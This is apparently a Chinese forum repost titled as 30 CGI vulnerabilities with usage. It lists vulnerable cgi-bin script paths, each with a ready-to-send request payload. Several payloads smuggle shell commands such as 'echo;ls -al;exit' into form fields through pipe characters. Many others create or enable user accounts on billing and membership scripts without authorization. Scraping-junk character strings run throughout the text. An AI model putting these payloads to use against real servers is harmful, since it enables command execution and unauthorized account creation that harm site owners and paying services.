Cgi-bin 30个漏洞＋使用方法

admin

==============================

& K! W7 j7 O2 y/ h3 b% y' T) g8 T/smspass.pl
username=username&password=password

% w4 t% P6 E, V  b" f' x& U4 _- ?: X/index.cgi
: q0 _6 }& e/ [3 C6 W# Mwei=ren&gen=command
8 w, S* t' G) l& M
" t: i& ?  _' w9 S+ n$ f/passmaster.cgi
Action=Add&Username=Username&Password=Password

* L2 f% c6 s, _( a/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
0 h+ C0 C+ L- o+ ~0 A$ k
/form.cgi
8 v9 S# g- y/ T8 {+ H& mname=xxxx&email=email&subject=xxxx&response=|echo;ls|

/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
! W3 A. n: D4 `' c8 n$ l# g  Fuser=username&pass=Password&confirm=Password
7 d. ]0 ?3 e3 O4 d
/ccbill-local.asp
post_values=username:password
6 ~9 U( X* O* k" o. v& V9 m
/count.cgi
pinfile=|echo;ls -la;exit|
6 H& p. I, s# d# R& x# Z
/recon.cgi
7 K6 ^: s& Z) H+ [6 I2 c/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|

/verotelrum.pl
2 b1 Y' J6 G7 S, fvercode=username:password:dseegsow:add:amount<&30>

3 h8 d3 R  D* W/af.cgi
_browser_out=|echo;ls -la;exit;|
1 y3 A$ w, T; `/ E4 ^0 r
/modify.cgi
username=username&password=password&expire=30
9 I6 B  m5 {+ j( h+ F
/openjournal.cgi
: `6 X- i/ V) M3 m4 Pedit=1&ct=2&go=|echo;ls -al;exit|
" r$ d$ S3 W/ r$ L# e! C5 P
/gx9passwd.cgi
cmd=ADD&user=username&pass=password
/ U$ \- y$ C! R# g- [
/probecontrol.cgi
  @& M7 h4 R7 }) u# q  Mcommand=enable&username=username&password=password
1 C$ h' Z: w" g1 s
" L/ _* p- ~- D6 H9 v  U/recon.cgi
5 s# z- {& T! Ysearchoption=3&searchfor=echo;ls -la;exit

5 z0 {. \9 l+ m+ s% q9 K* j/htadd.pl
configfile=|echo; ls -alt; exit

/gx9passwd.cgi
3 C! z$ t. _% G  ocmd=ADD&user=username&pass=password

! z" o8 d0 Y; B9 i2 d; E/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password
2 c8 q( d8 q% k/ N8 b
/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)

9 f; f# N( ?! n; Y+ A1 F/globill_ut.cgi
do=add&username=username&password=password&wpassword=password

/usercontrol.cgi
command=enable&username=USER&password=PASS

/globoSALErum.cgi
; T9 {* ?9 J2 Paction=ADD&seccode=seccode&login=username&password=password

/addusr.pl
9 Q, F( z- S/ juser=USER&pass=PASS&confirm=PASS

/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|
# Y2 l' ~' C/ z+ ^: W$ l8 J8 D
/accountcreate.cgi
" m* D/ ]* J- @! S1 E7 |2 d/cgi-bin/gateway/accountcreate.cgi
6 y) X* [7 S: `username=username&password=password&password2=password&ref1=|echo;ls -al;exit
! g9 D- z& @0 @  u% |! {' p' x
) u1 p( J" g9 u/af.cgi
/env.cgi
ADD+;echo;pwd;exit
  z( T* I8 ^3 r) J/ n
/count.cgi
# L' G  {# K: M9 {# ^pinfile=|echo;pwd;exit|
1 g; b. x7 R: c4 b2 `5 p% @! w
# q) L; W  i& L3 b; U5 O2 D/recon.cgi
5 g* R/ {  }5 F2 Fsearchoption=1&searchfor=|echo;ls%20-al;exit|
9 i% J# ~0 v* J. z/ Z8 b& Q1 W
/add.cgi
; I; B  C; `0 Q0 K, r" `: Iusername=username&password=password&expire=30
5 {5 g; W; \1 `4 v+ @
==============================
0 O  J2 O7 K7 x3 I2 K& Z& b- V